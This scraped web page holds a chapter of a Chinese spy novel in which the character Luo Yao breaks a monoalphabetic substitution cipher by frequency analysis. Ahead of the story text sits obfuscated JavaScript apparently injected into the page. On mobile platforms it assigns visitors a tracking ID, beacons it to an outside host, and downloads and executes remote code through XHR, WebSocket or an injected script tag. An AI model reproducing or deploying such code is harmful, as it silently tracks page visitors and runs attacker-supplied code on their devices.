第191章:密码破译(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
亚德利非常惊讶,虽然这只是两个简单的问题,但知道的人并不不多,那些学密电通讯的人都未必知道。
因为知道这个才是密码破译的基础,你不了解原理,如何破解密码。
本质上,现在的密码通讯加密手段都是“字母表替换”的而来,只是改变的是替换的规则而已。
掌握了规则,就破解了密码。
说起来很简单,但做起来可就难了。
“罗,如果我来写一段话,你用单字母替换法加密,你能将它破译出来吗?”亚德利对罗耀越来越感兴趣了。
“我可以试一试。”罗耀点了点头,他都能自己编写密码本的,破解一个小小的单字母替换加密,那还不是小儿科。
所谓单字母表加密,并非毫无规律,如果仅仅是为了替换一句话而创建一个单字母加密表,其实也能破译,只不过花费时间长一点儿。
单字母加密破解需要一定的参照文,然后对参照文进行分析,简单来说,就是运用数学里面的概率学。
比如英文书写的文章,26个字母在一篇文章内出现的概率,替换掉加密的这句话中相同概率的字母就可以了。
当然一句话的密文太短了,如果文字越长的话,反而更容易一些,因为算概率的话,那必然是字数越多越准确。
但是只要一一去试,破解密文只是时间问题。
英文26字母在一篇文章中出现的概率早就有人研究出来了,这个不需要再去统计了,如果是“多字母表替换加密”的话,那就难多了,甚至文章越长,越难破解。
亚德利随便编了一个替换字母表,然后用这个字母表写了一段对话,再把它加密,拿给罗耀。
罗耀看了一眼,这段对话并不长。
四句话,第三句话稍微有点儿长,其他的都是很短。
但从字面上看,完全就是一些无意义的字母,根本构不成单词,完全看不懂,但里面肯定是有内容的。
因为是“单字母表替换”,所以,罗耀先开始计算这段密文中各个字母出现的频率,然后加以统计,在予以替换。
破解替换加密法的基本方法可以称之为概率统计法。
当然,不同的文字和语言也有自己的特性,比如英文当中使用最多的词儿是什么,英文单词最有一个字母用的最多的又是什么等等。
这些规律总结应用在密码破译中都是能起到事半功倍的效果的。
只要掌握了这些,其实破解一封单字母加密的密文是很简单的事情,只要智商不是太低的人,都是能够迅速的完成的。
何况罗耀在这方面已经是有所研究的,他虽然是自学成才,但比起那些半路出家的人强的不是一星半点儿。
只用了不到十分钟!
亚德利随意写下的这段单字母加密的密文就被罗耀直接破解出来了,快的令他都觉得不可思议。
罗耀一看,这不是他跟亚德利接头用的暗语嘛!
当然,在破译之前,他是不知道的,也看不出来,因为这段密文的中间并无空格,从句子的长短是猜不出来的。
“罗,你绝对有密电码破译的天赋!”亚德利激动的冲罗耀竖起了大拇指道。
“亚德利先生谬赞了,单字母替换破译是密码破译的基础,任何人经过一定的培训都能做到,不过是熟能生巧而已。”罗耀谦逊的一笑道。
“罗,我想你可以成为我在中国的助手!”亚德利郑重的说道。
“助手?”
“对的,我在中国需要一位助手,你不但精通英文,有懂密电码破译,这样我们沟通起来就更加方便。”亚德利道,“我会向中国方面申请的。”
“亚德利先生,我昨天不是跟你说过,你在中国的生活和工作都将由我来负责吗?”罗耀道。
“是吗,我忘了,不好意思,我刚才找你做什么来着?”
“商量如何在中国开展工作呀……”
“是吗,我不是来找你喝酒的?”亚德利一拍脑门说道。
罗耀十分笃定的道:“当然不是,我们昨天刚刚约定好了,白天,工作时间是不喝酒的。”